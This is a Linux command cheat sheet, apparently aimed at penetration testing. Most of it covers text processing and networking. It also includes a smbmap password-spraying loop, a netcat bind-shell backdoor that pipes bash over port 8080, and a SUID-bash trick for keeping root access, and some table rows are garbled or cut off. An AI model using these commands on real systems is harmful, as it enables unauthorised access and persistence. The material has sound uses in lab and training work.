GREENIE=haha; export GREENIE |
Creates an environment variable named GREENIE with value haha, then exports it to be available to other programs |
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PATH=$PATH:/root/haha |
Adds the folder /root/haha to the system PATH environment variable while retaining the previous PATH value |
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| `sort |
uniq -c |
sort -n` |
Takes stdin, sorts it, finds out the count of each unique value, then sorts by the count value in ascending order |
| `cat squid_access.log |
sort -k 2 |
head` |
Reads squid_access.log, sorts it based on the second column, and displays the first 10 lines of the sorted output |
wc -l |
Counts the number of lines in a file or from stdin |
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wc -c |
Counts the number of bytes in a file or from stdin |
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wc -w |
Counts the number of words in a file or from stdin |
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awk '{print $1,$4}' |
Prints the first and fourth (non-zero indexed) characters/fields from stdin |
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awk '{print $(NF-1)}' |
Prints the second to last column from stdin |
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awk '{print length, $1}' |
Prints the length of each line and the contents of the first field/column from stdin |
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awk '{ sum += $1 } END { print sum }' |
Takes the lines from a file/stdin and adds up the values in the first field/column, acting as a quick and dirty calculator |
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| `cat peptides.txt |
while read line; do echo $line; done` |
Reads in each line from peptides.txt, then performs echo for each line |
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| `cat users.txt |
while read i; do echo trying $i; smbmap -u '$i' -p '$i' -H 10.10.10.172; done` |
Reads in each line from users.txt, then performs a password spraying attack on 10.10.10.172 using smbmap |
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for i in {1..5}; do echo $i; done |
Loops from 1 to 5 and displays the value of i for each iteration |
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for i in {000..999}; do echo KEY-HAHA-$i; done |
Creates a list of all values from KEY-HAHA-000 to KEY-HAHA-999 and displays each value |
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TF=$(mktemp -d) |
Creates a temporary directory and assigns its path to an environment variable named TF |
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${#TF} |
Outputs the length of the value stored in the environment variable TF |
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sed 's/12/13/g' |
Replaces all instances of 12 with 13 in stdin, will replace 1234 with 1334 |
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| `sed -i.bak '/line to delete/d' |
` |
Deletes a line of text for all files in a directory |
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xxd -p |
Prints the hex of stdin or a file only, without hexdump format |
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xxd -r |
Interprets raw hex from stdin, can redirect to save the hex to a file |
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| `tr -d '\r' |
tr -d '\n' |
xxd -r -p` |
Takes hex input, removes newlines, and places it into a file |
find / -user Matt 2>/dev/null |
Finds all files owned by Matt on the box, redirects stderr to null |
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| `find /etc -type f --name apache2. |
` |
Finds any file which begins with `apache2. |
in/etc` |
| `grep -E "(25[0-5] |
2[0-4][0-9] |
[01]?[0-9][0-9]?).(25[0-5] |
2[0-4][0-9] |
curl -d "param1=value¶m2=value" https://example.com/resource.cgi |
Sends parameters with curl |
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date -d @1286536308 |
Converts an epoch timestamp to date output |
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| `mknod backpipe p; /bin/bash 0<backpipe |
nc -l -p 8080 1>backpipe` |
Creates a netcat backdoor without -e support |
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tar -zcvf files.tar.gz /var/log/apache2 |
Creates a files.tar.gz archive of all files in /var/log/apache2 |
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prips 10.10.10.0/24 |
Prints all IPs in a specific subnet |
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ifconfig eth0 169.254.0.1 netmask 255.255.0.0 broadcast 169.254.255.255 |
Assigns an IP address from the terminal |
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ifconfig eth0 down; ifconfig eth0 hw ether 00:11:22:33:44:55; ifconfig eth0 up |
Changes the MAC address for interface eth0 |
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dhclient eth0 |
Requests a DHCP address on interface eth0 |
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dd if=./input.file of=./outfile |
Makes a bit-by-bit copy of a file or system |
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sudo ln -s /usr/bin/python3 /usr/bin/python |
Creates a symbolic link for Python to run Python 3 |
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sudo mkdir /mnt/new |
Creates a new directory /mnt/new with sudo permissions |
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mount /dev/sbd1 /mnt/new |
Mounts the file system located at /dev/sbd1 to the directory /mnt/new |
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umount /dev/sdb1 |
Unmounts the file system located at /dev/sdb1 |
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sudo route add -net default gw 10.10.0.1 netmask 0.0.0.0 dev wlan0 metric 1 |
Adds another default route with a higher metric to choose a different interface to access the Internet |
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sudo dhclient wlan0 |
Requests a new DHCP lease on interface wlan0 |
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openssl enc -aes-256-cbc -salt -in file.txt -out file.txt.enc |
Encrypts a file with a password at the command line |
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openssl enc -aes-256-cbc -d -in file.txt.enc -out file.txt |
Decrypts a file using a password at the command line |
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sudo chmod +s /bin/bash
bash -p |
Execute the command in a machine, and if root access is lost, use "bash -p" for a root shell. |
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